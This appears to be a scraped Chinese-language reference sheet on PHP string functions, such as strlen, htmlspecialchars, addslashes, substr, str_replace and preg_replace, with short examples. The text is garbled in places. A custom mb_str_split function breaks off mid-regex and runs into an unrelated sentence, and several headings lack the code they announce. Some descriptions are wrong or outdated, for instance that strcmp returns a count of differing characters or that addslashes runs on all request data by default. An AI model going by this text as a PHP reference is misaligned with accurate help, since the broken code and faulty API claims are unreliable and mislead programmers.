\v 垂直制表符(ASCII字符集中的VT或0x0B (11))
\e Escape(ASCII字符集中的ESC或0x1B (27))
\f 换页(ASCII字符集中的FF或0x0C (12))
\\ 反斜线
\$ 美元标记
\" 双引号
\[0-7]{1,3} 符合该正则表达式序列的是一个以八进制方式来表达的字符
\x[0-9A-Fa-f]{1,2} 符合该正则表达式序列的是一个以十六进制方式来表达的字符
【 NCR编码 】
NCR编码是由一个与号(&)跟着一个井号(#),然后跟着这个字符的Unicode编码值,最后跟着一个分号组成的
例: ★ 9733 2605
★ 直接显示星号
h1:before { content:"\2605"; }
显示符号 加ASCII十进制 转义字符
" & #34 & quot;
& & #38 & amp;
< & #60 & lt;
> & #62 & gt;
© & #169 & copy;
® & #174 & reg;
不断开空格 & #160 & nbsp;
【 存取和修改字符串中的字符 】
string中字符可通过一个从0开始的下标,用类似array结构中的方括号包含对应的数字来访问和修改如$str[42],也可用花括号访问如$str{42},用[]或{}访问任何其它类型(不包括数组或具有相应接口的对象实现)的变量只会无声地返回NULL,可以把string当成字符组成的array。函数substr()和substr_replace()可用于操作多于一个字符的情况。
PHP的字符串在内部是字节组成的数组。因此用花括号访问或修改字符串对多字节字符集很不安全,仅应对单字节编码例如ISO-8859-1的字符串进行此类操作
用超出字符串长度的下标写入将会拉长该字符串并以空格填充。非整数类型下标会被转换成整数。非法下标类型或用负数下标写入字符串时会产生一个E_NOTICE级别错误,用负数下标读取字符串时返回空字符串。写入时只用到了赋值字符串的第一个字符。用空字符串赋值则赋给的值是NULL字符。
$str = 'This is a test.';
$first = $str[0]; // 取得字符串的第一个字符
$third = $str[2]; // 取得字符串的第三个字符
$last = $str[strlen($str)-1]; // 取得字符串的最后一个字符
$str[strlen($str)-1] = 'e'; // 修改字符串的最后一个字符
string函数
【 strlen() 】
int strlen ( string $string )
返回字符串string的长度(字节数) rather than the number of characters in a string,string为空则返回0,returns NULL when executed on arrays,and an E_WARNING level error is emitted
使用isset代替strlen
在检验字符串长度时第一想法会使用strlen()函数。
此函数执行起来相当快,因为它不做任何计算,只返回在zval结构(C的内置数据结构,用于存储PHP变量)中存储的已知字符串长度。
但由于strlen()是函数多多少少会有些慢,因为函数调用会经过诸多步骤,如字母小写化、哈希查找,会跟随被调用的函数一起执行。
在某些情况下可以使用isset()技巧加速执行代码
if (strlen($foo) < 5) echo "Foo is too short";
if (!isset($foo{5})) echo "Foo is too short";
【 mb_strlen() 】
mixed mb_strlen ( string $str [,string $encoding = mb_internal_encoding() ] )
返回具有encoding编码的字符串str包含的字符数,多字节的字符被计为1,UTF-8编码中文3个字节一个字符,GBK是2字节一个字符,如果给定的encoding无效则返回FALSE
echo strlen('I love 中国'); // 13
echo mb_strlen('I love 中国','UTF8'); // 9
【 chr() 】
string chr ( int $ascii )
从指定的ASCII值返回对应的单个字符,返回相对应于ascii所指定的单个字符,使用函数ord()和chr()实现ASCII码和字符间的转换
ASCII值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置0x,以下全部输出string 'A' (length=1)
var_dump(chr(65)); // 十进制,整数
var_dump(chr(0x41)); // 十六进制,首位0x
var_dump(chr(0101)); // 八进制,三位,最高位补零,首位0
var_dump(chr('01000001')); // 二进制,这里的二进制一定要看做字符串,加引号,上面三个都不用加
在$str后边增加换码符(ASCII码27)
$str = "The string ends in escape: " . chr(27);
$str = sprintf("The string ends in escape: %c",27); // 通常这样更有用
chr()循环输出A-Z
for($i=65; $i < 91; $i++){
echo chr($i).' ';
}
【 ord() 】
int ord ( string $string )
返回字符串中第一个字符的ASCII十进制值,可返回汉字第一个字节的ASCII十进制值,使用函数ord()和chr()实现ASCII码和字符间的转换
英文字符的ASCII码是7位二进制,中文字符第一个字节的ASCII码是8位二进制获取中文字符拼音首字母
【 strrev() 】
string strrev ( string $string )
反转字符串
var_dump(strrev("I love Shanghai!")); // string '!iahgnahS evol I' (length=16)
【 str_shuffle() 】
string str_shuffle ( string $str )
随机打乱字符串中的所有字符
var_dump(str_shuffle("I love Shanghai")); // string ' ea IhhgvoSnail' (length=15)
【 str_repeat() 】
string str_repeat ( string $input ,int $multiplier )
字符串重复指定的次数
var_dump(str_repeat("Shanghai",3)); // string 'ShanghaiShanghaiShanghai' (length=24)
echo str_repeat("-=",10); // -=-=-=-=-=-=-=-=-=-=
【 wordwrap() 】
wordwrap(string [,width,break,cut])
按照指定长度对字符串进行折行处理,可能会在行的开头留下空白字符
width规定最大行宽度,默认75
break规定作为分隔符使用的字符,默认\n
cut规定是否对于大于指定宽度的单词折行默认false,true折行
$str = "An example of a long word is: Supercalifragulistic";
echo wordwrap($str,15,"<br>\n",TRUE);
【 number_format() 】
string number_format(float $number [,int $decimals = 0 ] )
string number_format(float $number,int $decimals = 0,string $dec_point = ".",string $thousands_sep = ",")
以千位分隔符方式格式化一个数字
number:要格式化的数字
decimals:要保留的小数位数
dec_point:指定小数点显示的字符
thousands_sep:指定千位分隔符显示的字符
本函数可以接受1个、2个或4个参数(不能是3个):
如果只提供第一个参数,number的小数部分会被去掉并且每个千位分隔符都是英文小写逗号
如果提供两个参数,number将保留小数点后的位数到设定的值,其余同上
如果提供了四个参数,number将保留decimals个长度的小数部分,小数点被替换为dec_point,千位分隔符替换为thousands_sep
$number = 1234.5678;
var_dump($english_format_number = number_format($number)); // string '1,235' (length=5)
var_dump($nombre_format_francais = number_format($number,2,',',' ')); // string '1 234,57' (length=8)
var_dump($english_format_number = number_format($number,2,'.','')); // string '1234.57' (length=7)
【 htmlspecialchars() 】
string htmlspecialchars(string $string [,int $flags=ENT_COMPAT | ENT_HTML401 [,string $encoding=ini_get("default_charset") [,bool $double_encode=TRUE ]]])
将预定义的特殊字符转换为HTML实体,如需把特殊的HTML实体转换回字符则使用htmlspecialchars_decode()函数
某类字符在HTML中有特殊用处,如需保持原意,需要用HTML实体来表达,本函数会返回字符转义后的表达。
如需转换子字符串中所有关联的名称实体,使用htmlentities()代替本函数。
$string参数是要编码的字符串
$flags参数可选,默认值ENT_COMPAT表示只转换双引号不转换单引号,ENT_QUOTES表示双引号和单引号都要转换,ENT_NOQUOTES表示双引号和单引号都不转换
$encoding参数可选,表示使用的字符集
如果传入字符的字符编码和最终的文档是一致的,则用函数处理的输入适合绝大多数HTML文档环境。如果输入的字符编码和最终包含字符的文档是不一样的,想要保留字符(以数字或名称实体的形式),本函数及htmlentities()(仅编码名称实体对应的子字符串)可能不够用,这种情况可以使用mb_encode_numericentity()代替
将与、单双引号、大于和小于号化成HTML格式
& 转成 & amp;
" 转成 & quot; 除非设置了ENT_NOQUOTES
' 转成 & #039; 设置了ENT_QUOTES后& #039; (如果是ENT_HTML401),或& apos; (如果是ENT_XML1、 ENT_XHTML或ENT_HTML5)
< 转成 & lt;
> 转成 & gt;
flags
位掩码,由以下某个或多个标记组成,设置转义处理细节、无效单元序列、文档类型。 默认是 ENT_COMPAT | ENT_HTML401。
有效的flags常量
ENT_COMPAT 转换双引号,不转换单引号,默认值
ENT_QUOTES 既转换双引号也转换单引号。
ENT_NOQUOTES 单/双引号都不转换
ENT_IGNORE 静默丢弃无效的代码单元序列,而不是返回空字符串。不建议使用此标记,因为它可能有安全影响。
ENT_SUBSTITUTE 替换无效的代码单元序列为Unicode代替符(Replacement Character),U+FFFD (UTF-8)或& #xFFFD;(其他),而不是返回空字符串。
ENT_DISALLOWED 为文档的无效代码点替换为Unicode代替符(Replacement Character): U+FFFD (UTF-8),或& #xFFFD;(其他),而不是把它们留在原处,比如有用情况: 要保证XML文档嵌入额外内容时格式合法。
ENT_HTML401 以HTML4.01处理代码。
ENT_XML1 以XML1处理代码。
ENT_XHTML 以XHTML处理代码。
ENT_HTML5 以HTML5处理代码。
$str = "Bill & 'Steve'";
echo htmlspecialchars($str,ENT_COMPAT); // 只转换双引号,Bill & amp; 'Steve'
echo htmlspecialchars($str,ENT_QUOTES); // 转换双引号和单引号,Bill & amp; & #039;Steve& #039;
echo htmlspecialchars($str,ENT_NOQUOTES); // 不转换任何引号,Bill & amp; 'Steve'
【 htmlspecialchars_decode() 】
string htmlspecialchars_decode ( string $string [,int $flags = ENT_COMPAT | ENT_HTML401 ] )
将特殊的HTML实体转换回普通字符
【 htmlentities() 】
string htmlentities(string $string [,int $flags=ENT_COMPAT | ENT_HTML401 [,string $encoding=ini_get("default_charset") [,bool $double_encode=true ]]])
所有字符都转成HTML格式,除上面htmlspecialchars字符与、单双引号、大于和小于号外,还包括双字节字符显示成编码等
将字符转换为HTML转义字符,和htmlspecialchars()一样,除了htmlentities()会转换所有具有HTML实体的字符。
htmlentities()对任何要输出到客户端的数据进行转义,该函数可以把所有的特殊字符转换成HTML表示方式,所有会引起浏览器进行特殊处理的字符在进行了转换后就能确保显示出来的是原来录入的内容
解码(反向操作)使用html_entity_decode()
跨站脚本攻击的防御: 过滤和转义
【 addcslashes() 】
addcslashes(string,characters)
以C语言风格使用反斜线转义字符串中的字符,返回在指定字符前添加反斜杠的字符串,对大小写敏感,二参要转义的字符或字符范围
当选择对字符0,a,b,f,n,r,t和v进行转义时需要小心,它们将被转换成\0,\a,\b,\f,\n,\r,\t和\v
PHP只有\0(NULL),\r(回车符),\n(换行符和\t(制表符)是预定义的转义序列,而在C语言中上述的所有转换后的字符都是预定义的转义序列
如果参数characters中包含有\n、\r等字符,将以C语言风格转换,而其它非字母数字且ASCII码低于32及高于126的字符均转换成使用八进制表示
charlist参数,如"\0..\37",将转义所有ASCII码介于0和31之间的字符
// 所有大小写字母均被转义,但[\]^_`及分隔符、换行符、回车符等也一并被转义了
echo addcslashes('foo[ ]','A..z'); // \f\o\o\[ \]
如果设置范围中的结束字符ASCII码高于开始字符,则不会创建范围,只是将开始字符、结束字符以及其间的字符逐个转义。可使用ord()函数获取字符的ASCII码值
echo addcslashes("zoo['.']",'z..A'); // \zoo['\.']
【 addslashes() 】
string addslashes ( string $str )
单双引号、反斜线\及NULL加上反斜线转义,返回字符串
默认PHP对所有GET、POST、COOKIE数据自动运行该函数,不应对已转义过的字符串再使用,因为这样会导致双层转义
遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测
$str = "Is your name O'reilly?";
echo addslashes($str); // Is your name O\'reilly?
stripcslashes() 删除由addcslashes()函数添加的反斜杠
stripslashes() 删除由addslashes()函数添加的反斜杠
【 stripslashes 】
去掉字符串中的反斜线字符,若是连续二个反斜线则去掉一个留下一个,若只有一个反斜线就直接去掉
【 quotemeta 】
加入引用符号,将字符串中含有 . \\ + * ? [ ^ ] ( $ ) 等字符的前面加入反斜线 "\" 符号
【 get_magic_quotes_gpc() 】
bool get_magic_quotes_gpc ( void )
获取当前magic_quotes_gpc的配置选项设置
尝试在运行时设置magic_quotes_gpc将不会生效
用来判断是否为用户提供的数据增加斜线了,这个在php.ini配置文件中
string检索
【 过滤字符串中重复的字符(包含中文)】
function mb_str_split( $string ) {
return implode('', array_unique(preg_split('/(?不设置charlist,&不会当作单词,被过滤
【 count_chars() 】
mixed count_chars ( string $string [,int $mode = 0 ] )
返回字符串中所用字符的信息,如ASCII字符在字符串中出现的次数,或某个字符是否已经在字符串中使用过
mode参数规定返回模式:
0 - 数组,ASCII值为键名,出现的次数为键值(默认)
1 - 数组,ASCII值为键名,出现的次数为键值,只列出出现次数大于0的值
2 - 数组,ASCII值为键名,出现的次数为键值,只列出出现次数等于0的值
3 - 字符串,带有所有使用过的不同的字符
4 - 字符串,带有所有未使用过的不同的字符
var_export($strArray = count_chars('hello world!',1));
l的ASCII码108出现3次,空格32出现一次,chr($key)查看对应的字符
array ( 32 => 1, 33 => 1, 100 => 1, 101 => 1, 104 => 1, 108 => 3, 111 => 2, 114 => 1, 119 => 1, )
【 substr_count() 】
int substr_count ( string $str ,string $find [,int $offset = 0 [,int $length ]] )
计算子串find在字符串str中出现的次数,不计数重叠的子串,子串find区分大小写
offset参数表示开始计数的偏移位置,如果是负数就从字符的末尾开始统计
length参数指定偏移位置之后的最大搜索长度。如果偏移量加上这个长度的和大于str的总长度则打印警告信息。负数的长度length是从str的末尾开始统计的
【 strpos() 】
int strpos ( string $str ,mixed $find [,int $offset = 0 ] )
查找字符串在另一字符串中第一次出现的位置(区分大小写),不匹配则返回false
如果$find不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。
可选的offset参数表示搜索会从字符串该字符数的起始位置开始统计,负数则搜索会从字符串结尾指定字符数开始。
此函数可能返回布尔值FALSE,但也可能返回等同于FALSE的非布尔值,应使用===运算符来测试此函数的返回值
stripos(str,find,start) 查找字符串在另一字符串中第一次出现的位置(不区分大小写),参数start可选规定开始搜索的位置
strrpos(str,find,start) 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
strripos(str,find,start) 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
mb_strpos($str, $needle)
【 strstr() 别名strchr() 】
string strstr ( string $str,mixed $find [,bool $before_needle = FALSE ] )
返回str字符串从find第一次出现的位置开始到str结尾的字符串,未找到所搜索的字符串则返回FALSE,该函数是二进制安全的
区分大小,不区分大小写的搜索使用stristr()
如果仅仅想确定needle是否存在于str中应使用速度更快、耗费内存更少的strpos()函数
str参数必需。规定被搜索的字符串。
find参数必需。规定所搜索的字符串。如果此参数是数字则搜索匹配此数字对应的ASCII值的字符。
before_search参数可选。默认false,设置为true将返回needle参数第一次出现之前的字符串部分
【 strrchr() 】
string strrchr ( string $str ,mixed $find )
返回str字符串中以指定字符find的最后出现位置开始直到str末尾,find未被找到返回FALSE
如果参数find包含了不止一个字符,那么仅使用第一个字符,该行为不同于strstr()。
如果参数find不是一个字符串,那么将被转化为整型并被视为字符顺序值,参数是数字则搜索匹配此数字的ASCII值的字符
echo strrchr("I love Shanghai!","Shanghai"); // Shanghai!
echo strrchr("Hello world!",101); // 十进制的101ASCII码对应"e",ello world!
【 strpbrk() 】
strpbrk(string,charlist)
在字符串中搜索字符返回从指定字符第一次出现的位置开始的剩余部分,没找到则false
echo strpbrk("I love Shanghai!","Sh"); // Shanghai!
【 strcspn() 】
strcspn(string,char,start,length)
返回在找到任何指定的字符之前,在字符串查找的字符数(包括空格),
参数start可选规定在何处开始查找,length可选规定字符串长度
echo strcspn("Hello world!","w",0,6); // 开始位置是0,搜索字符串的长度是6,输出6
【 strspn() 】
strspn(string,charlist,start,length)
函数返回字符串中包含指定字符列表中的几个字符
echo strspn("Hello world!","kHlleo"); // 输出5
string截取
【 substr() 】
string substr ( string $string ,int $start [,int $length ] )
切片截取返回字符串的一部分,如果start参数是负数且length小于或等于start则length为0
string参数必需,规定要返回其中一部分的字符串。
start参数必需,规定在字符串的何处开始。正数表示在字符串的指定start位置开始,负数表示返回的字符串将从string结尾处向前数第start个字符开始,0表示在字符串中的第一个字符处开始
length参数可选,规定被返回字符串的长度,默认直到字符串的结尾。
正数表示返回的字符串将从start处开始最多包括length个字符,取决于string的长度
负数表示string末尾处的length个字符将会被省略,若start是负数则从字符串尾部算起,如果start不在这段文本中将返回FALSE。
0,FALSE或NULL表示将返回一个空字符串。
$rest = substr("abcdef",-1); // "f"
$rest = substr("abcdef",-2); // "ef"
$rest = substr("abcdef",-3,1); // "d"
$rest = substr("abcdef",0,-1); // "abcde"
$rest = substr("abcdef",2,-1); // "cde"
$rest = substr("abcdef",4,-4); // ""
$rest = substr("abcdef",-3,-1); // "de"
// 访问字符串中的单个字符也可以使用中括号
$string = 'abcdef';
echo $string[0]; // a
echo $string[3]; // d
echo $string[strlen($string)-1]; // f
【 mb_substr() 】
string mb_substr ( string $str ,int $start [,int $length = NULL [,string $encoding = mb_internal_encoding() ]] )
substr()只针对英文字符,如果要分割的中文文字则需要使用mb_substr()
获取部分字符串,根据字符数执行一个多字节安全的substr()操作,从str的开始位置进行计数,第一个字符的位置是0,第二个字符的位置是1,以此类推
length参数表示str中要使用的最大字符数,如果省略了此参数或者传入了NULL,则会提取到字符串的尾部
encoding参数为字符编码,默认则使用内部字符编码
$chuan="我是中国人!";
echo substr($chuan,0,3); // 我
echo mb_substr($chuan,0,3,'utf8'); // 我是中
echo substr($chuan,0,-4); // 我是中国
echo mb_substr($chuan,0,-2,'utf8'); // 我是中国
string删除空格,标签
【 trim() 】
trim ( string $str [,string $character_mask = " \t\n\r\0\x0B" ] ): string
去除字符串首尾处的空白字符或其他字符,设置$character_mask表示除了默认删除的字符外还要删除该字符串中出现的所有字符
" " ASCII32 (0x20),普通空格符
"\t" ASCII9 (0x09), 制表符
"\n" ASCII10 (0x0A),换行符
"\r" ASCII13 (0x0D),回车符
"\0" ASCII0 (0x00), 空字节符
"\x0B" ASCII11 (0x0B),垂直制表符
ltrim($str,charlist)
删除字符串左侧空白字符及其他预定义字符,参数同上
rtrim($str,charlist)
删除字符串右侧空白字符及其他预定义字符,参数同上
【 chop() rtrim()的别名 】
chop($str,charlist) : string
rtrim ( string $str [, string $character_mask ] ) : string
删除字符串右侧空白字符及其他字符,参数charlist可选,规定删除那些字符
$str = "Hello World!\n\n";
echo chop($str);
【 strip_tags() 】
strip_tags ( string $str [,string $allowable_tags ] ): string
剥去字符串中的空字符、HTML/XML/PHP标签和html注释,使用与函数fgetss()一样的机制去除标记
该函数不会修改allowable_tags可选参数中指定的允许标记的任何属性,包括style和onmouseover属性,用户可能会在提交的内容中恶意滥用这些属性,从而展示给其他用户
echo strip_tags("Hello < b>< i>world! i> b>","< b>"); // 允许b标签
string比较
【 similar_text() 】
similar_text($str1,$str2,$percent)
计算两个字符串相似度,返回匹配字符数,可选percent参数存储百分比相似度的变量名
similar_text("hello world","hello hunan",$percent);
echo $petcent."%"; // 48%
【 strcmp() 】
strcmp ( string $str1 ,string $str2 ): int
二进制安全字符串比较,比较两个字符串,区分大小写,返回除相同字符外的字符数,0表示相同
如果str1小于str2返回 < 0; str1大于str2返回>0;如果两者相等返回0
var_dump(strcmp("Hello", "hello")); // int(-1)
var_dump(strcmp("hello", "Hello")); // int(1)
【 strncmp() 】
strncmp ( string $str1 ,string $str2 ,int $len ): int
二进制安全比较字符串开头的若干个字符,区分大小写
与strcmp()类似,不同之处在于可以指定两个字符串比较时使用的长度$len(即最大比较长度)。
如果str1小于str2返回 < 0; str1大于str2返回>0;如果两者相等返回0
var_dump(strncmp("I love China!","I love Shanghai!",6)); // int 0
【 strcasecmp() 】
strcasecmp($str1,$str2) int
比较两个字符串,不区分大小写,返回除相同字符外的字符数,0表示相同
echo strcasecmp("Hello world!","HELLO"); // 7
echo strcasecmp("Hello world!","HELLO WORLD! HELLO!"); // -7
【 strncasecmp() 】
strncasecmp($str1,$str2,lenth)
比较两个字符串,lenth指定每个字符串用于比较的字符数,不区分大小写
echo strncasecmp("I love China!","I love Shanghai!",6); //6
【 substr_compare() 】
substr_compare(string1,string2,start,length,case)
从指定的开始位置比较两个字符串,二进制安全
case值布尔,规定是否区分大小写,默认false区分大小写
返回0表示两字符串相对,正数str1大于str2,负数str2大于str1
echo substr_compare("world","OR",1,2,TRUE);
【 strnatcasecmp() 】
使用"自然"算法来比较两个字符串(不区分大小写),计算机排序中10小于2
echo strnatcasecmp("2Hello world!","10Hello WORLD!"); //-1
echo strnatcasecmp("10Hello world!","2Hello WORLD!"); //1
【 strnatcmp() 】
使用"自然"算法来比较两个字符串(区分大小写)
该函数实现了以人类习惯对数字型字符串进行排序的比较算法,这就是自然顺序
strnatcmp("2Hello world!","10Hello WORLD!") // int(-1)
string替换
【 strtr() 】
string strtr ( string $str ,string $from ,string $to )
string strtr ( string $str ,array $replace_pairs )
返回str的一个副本,并将在from中指定的字符转换为to中相应的字符,如果from与to长度不相等,那么多余的字符部分将被忽略。str的长度将会和返回的值一样
str参数表示待转换的字符串。
from参数表示字符串中与将要被转换的目的字符to相对应的源字符。
to参数表示字符串中与将要被转换的字符from相对应的目的字符。
replace_pairs参数可以用来取代to和from参数,因为它是以array('from' => 'to',...)格式出现的数组
如果replace_pairs中包含一个空字符串的键,那么将返回FALSE
如果需要转换的全是单个字符,用字符串作为 strtr() 函数完成替换,而不是数组:
$addr = strtr($addr, "abcd", "efgh"); // 建议
$addr = strtr($addr, array('a' => 'e', )); // 不建议
效率提升:10 倍。
str_replace字符替换比正则替换preg_replace快,但strtr比str_replace又快1/4。
另外,不要做无谓的替换,即使没有替换,str_replace也会为其参数分配内存。很慢!
用 strpos 先查找(非常快),看是否需要替换,如果需要再替换。
如果需要替换,效率几乎相等,差别在 0.1% 左右。
如果不需要替换:用 strpos 快 200%。
【 str_replace() 】
mixed str_replace ( mixed $search ,mixed $replace ,mixed $subject [,int &$count ] )
返回的字符串或数组是将subject中全部的search都被replace替换之后的结果。此函数可安全用于二进制对象,区分大小写,不区分则使用str_ireplace()
如果没有一些特殊的替换需求比如正则表达式,应该使用该函数替换ereg_replace()和preg_replace()
如果search和replace为数组,那么str_replace()将对subject做二者的映射替换。如果replace的值的个数少于search的个数,多余的替换将使用空字符串来进行。如果search是一个数组而replace是一个字符串,那么search中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。
如果search和replace都是数组,它们的值将会被依次处理。
search参数表示查找的目标值,一个数组可以指定多个目标。
replace参数表示search 的替换值。一个数组可以被用来指定多重替换。
subject参数表示执行替换的数组或字符串即haystack。如果subject是一个数组替换操作将遍历整个subject,返回值也将是一个数组。
count参数表示替换发生的次数
str_replace('a', 'b', $string);
strtr($string, 'a', 'b'); // 速度提高了约2倍
str_replace()替换是从左到右依次进行,进行多重替换时可能会替换掉之前插入的值替换数组中的字符串
$arr = array("blue","red","green","yellow");
print_r(str_replace("red","pink",$arr,$i)); // ['blue','pink','green','yellow']
echo "替换数: $i"; // 1
$find = array("Hello","world");
$replace = array("B");
$arr = array("Hello","world","!");
var_export(str_replace($find,$replace,$arr)); // ["Hello","","!"]
【 str_ireplace() 】
str_ireplace(find,replace,str,$count)
执行不区分大小写的搜索、替换
str_ireplace("WORLD","Shanghai","Hello world!");把字符串中的"WORLD"(不区分大小写)替换成 "Shanghai"
【 substr_replace() 】
substr_replace($str,$replace,$start[,length])
start: 起始位置替换,0从第一字符开始,正数指定位置开始,负数从字符串尾部的指定位置开始替换
length: 要替换多少字符,默认与字符串长度相同,0表示插入而非替换,负数表示待替换的子字符串节位数距离string末端的字符个数
echo substr_replace("Hello world","Shanghai",6); //world替换成shanghai
echo substr_replace("Hello world","Shanghai",-5); //从字符串结尾第5个位置开始,world替换成shanghai
echo substr_replace("world","Hello ",0,0); //开头插入hello
$replace = array("1: AAA","2: AAA","3: AAA");
echo implode(" ",substr_replace($replace,'BBB',3,3));
【 str_pad() 】
str_pad(string,length,pad_str,pad_type)
把字符串填充为新的长度
参数pad_str可选默认为空;pad_type可选,填充哪边: 默认STR_PAD_RIGHT,STR_PAD_LEFT,STR_PAD_BOTH
str_pad($str,10) 转化成10个字符,不足的默认填充空白字符
str_pad($str,10,'#')
【 preg_replace() 】
preg_replace ( mixed $pattern ,mixed $replacement ,mixed $subject [,int $limit = -1 [,int &$count ]] ): mixed
执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分然后以replacement进行替换
pattern参数表示要搜索的模式,可以使一个字符串或字符串数组,可以使用一些PCRE修饰符。
replacement参数表示用于替换的字符串或字符串数组。如果该参数是一个字符串且pattern是一个数组,那么所有的模式都使用这个字符串进行替换。如果pattern和replacement都是数组,每个pattern使用replacement中对应的元素进行替换。如果replacement中的元素比pattern中的少,多出来的pattern使用空字符串进行替换。
replacement中可以包含后向引用\\n或$n,语法上首选后者。每个这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。n可以是0-99,\\0和$0代表完整的模式匹配文本。捕获子组的序号计数方式为: 代表捕获子组的左括号从左到右,从1开始数。如果要在replacement中使用反斜线,必须使用4个("\\\\",因为这首先是php的字符串,经过转义后是两个,再经过正则表达式引擎后才被认为是一个原文反斜线)。
当在替换模式下工作且后向引用后面紧跟着需要是另外一个数字(比如: 在一个匹配模式后紧接着增加一个原文数字),不能使用\\1这样的语法来描述后向引用。比如\\11将会使preg_replace() 不能理解希望的是一个\\1后向引用紧跟一个原文1,还是一个\\11后向引用后面不跟任何东西。这种情况下解决方案是使用${1}1。 这创建了一个独立的$1后向引用,一个独立的原文1。
当使用被弃用的e修饰符时,这个函数会转义一些字符(即: '、"、 \和NULL)然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误(比如'strlen(\'$1\')+strlen("$2")')。确保符合PHP的字符串语法,并且符合eval语法。因为在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
subject: 要进行搜索和替换的字符串或字符串数组,如果subject是一个数组,搜索和替换回在subject的每一个元素上进行,并且返回值也会是一个数组。
limit: 每个模式在每个subject上进行替换的最大次数,默认-1(无限)
count: 如果指定,将会被填充为完成的替换次数。
返回值
如果subject是一个数组preg_replace()返回一个数组,其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject被返回,其他情况下返回没有改变的subject。如果发生错误返回NULL
错误/异常
PHP5.5.0起传入"\e"修饰符的时候会产生一个E_DEPRECATED错误;PHP 7.0.0起会产生E_WARNING错误,同时"\e"也无法起效。
使用后向引用紧跟数值原文preg_replace()中使用基于索引的数组剥离空白字符使用参数count
【 preg_replace_callback() 】
mixed preg_replace_callback (mixed $pattern ,callable $callback ,mixed $subject [,int $limit = -1 [,int &$count ]])
执行一个正则表达式搜索并且使用一个回调进行替换
这个函数的行为除了可以指定一个callback替代replacement进行替换字符串的计算,其他方面等同于preg_replace()
pattern: 要搜索的模式,可以是字符串或一个字符串数组。
callback: 一个回调函数,在每次需要替换时调用,参数是从subject中匹配到的结果,返回真正参与替换的字符串
subject: 要搜索替换的目标字符串或字符串数组。
limit: 对于每个模式用于每个subject字符串的最大可替换次数,默认-1表示无限制
count: 如果指定,这个变量将被填充为替换执行的次数。
如果subject是一个数组,preg_replace_callback()返回一个数组,其他情况返回字符串。错误发生时返回NULL。
如果查找到了匹配,返回替换后的目标字符串(或字符串数组),其他情况subject将会无变化返回
一个unix样式的命令行过滤器,用于将段落开始部分的大写字母转换为小写将文本中的年份增加一年
【 preg_match() 】
preg_match(string $pattern,string $subject [,array &$matches [,int $flags = 0 [,int $offset = 0 ]]]): int
进行正则表达式匹配,第一次匹配成功后就会停止匹配,成功返回匹配次数1,否则返回0,发生错误返回FALSE
preg_match_all()会一直搜索subject直到到达结尾
matches数组存储匹配结果,$matches[0]包含与整个模式匹配的文本,$matches[1]包含与第一个捕获的括号中的子模式所匹配的文本,以此类推
从URL中取得主机名
【 preg_match_all() 】
int preg_match_all(string $pattern,string $subject [,array &$matches[,int $flags=PREG_PATTERN_ORDER[,int $offset=0]]])
用于进行正则表达式全局匹配,搜索subject中所有匹配pattern给定正则表达式的匹配结果并且将结果以flag指定顺序输出到matches数组中
在第一个匹配找到后,子序列继续从最后一次匹配位置搜索
成功返回整个模式匹配的次数(可能为零),出错返回FALSE
flags默认PREG_PATTERN_ORDER,结果排序为$matches[0]保存完整模式的所有匹配,$matches[1]保存第一个子组的所有匹配,以此类推
查找匹配的HTML标签(贪婪)
如果正则表达式包含了带名称的子组,$matches额外包含了带名称子组的键。
如果正则表达式里子组名称重名了,则仅最右侧的自组储存在$matches[NAME]中
PREG_SET_ORDER
结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组),$matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推
PREG_OFFSET_CAPTURE
如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。 注意这会改变matches中的每一个匹配结果字符串元素,使其成为一个第0个元素为匹配结果字符串,第1个元素为 匹配结果字符串在subject中的偏移量。
正则匹配中文汉字
【 大小写转换 】
lcfirst($str) 把字符串首字母换成小写
ucfirst($str) 把字符串首字母换成大写
ucwords($str) 把字符串中每个单词首字符转换为大写
strtolower($str) 把字符串转换为小写
strtoupper($str) 把字符串转换为大写
mb_strtolower($value, 'UTF-8');
mb_strtoupper($value, 'UTF-8');
mb_convert_case($value, MB_CASE_TITLE, 'UTF-8'); 转为首字母大写的标题格式
mb_convert_case()
mb_convert_case ( string $str , int $mode [, string $encoding = mb_internal_encoding() ] ) : string
对字符串进行大小写转换,转换模式由mode指定(MB_CASE_UPPER、MB_CASE_LOWER和MB_CASE_TITLE的其中一个),encoding参数为字符编码,如果省略则使用内部字符编码
【 nl2br() 】
string nl2br ( string $string [,bool $is_xhtml = TRUE ] )
将换行字符转成br标签,在字符串string所有新行(\r、\n、\r\n、\n\r)之前插入HTML换行符br标签并返回
参数is_xhtml是否使用XHTML兼容换行符
echo nl2br("foo isn't\n bar");
echo nl2br("Welcome\r\nThis is my HTML document",false); // 使用is_xhtml生成合法的HTML标记
echo nl2br("This\r\nis\n\ra\nstring\r");
string分割
【 str_split() 】
str_split ( string $string [,int $split_length = 1 ] ): array
将一个字符串转换为数组
可选的split_length参数指定返回数组中的每个元素均为一个长度为split_length的字符块,否则每个字符块为单个字符
split_length小于1时返回FALSE,split_length参数超过字符串string的长度时整个字符串将作为数组仅有的一个元素返回
无法分解中文字符(多字节字符)的解决方法
【 chunk_split() 】
chunk_split ( string $body [,int $chunklen = 76 [,string $end = "\r\n" ]] ): string
把字符串分割为一连串更小的部分,返回新字符串,使用场景如将base64_encode()的输出转换成符合RFC 2045语义的字符串,它会在每chunklen个字符后边插入end
参数length定义字符串块的长度,默认76
参数end定义在每个字符串块末端放置的内容,默认\r\n
chunk_split($str,2,' ') // 每两个字符切割之后以空格连接
chunk_split($str,1,".");
$string = '1234';
var_dump(chunk_split($string,2,':')); // string '12:34:' (length=6)
var_dump(substr(chunk_split($string,2,':'),0,-1)); // 12:34
$new_string = chunk_split(base64_encode($data)); // 使用RFC 2045语义格式化$data
【 preg_split() 】
preg_split ( string $pattern , string $subject [, int $limit = -1 [, int $flags = 0 ]] ): array
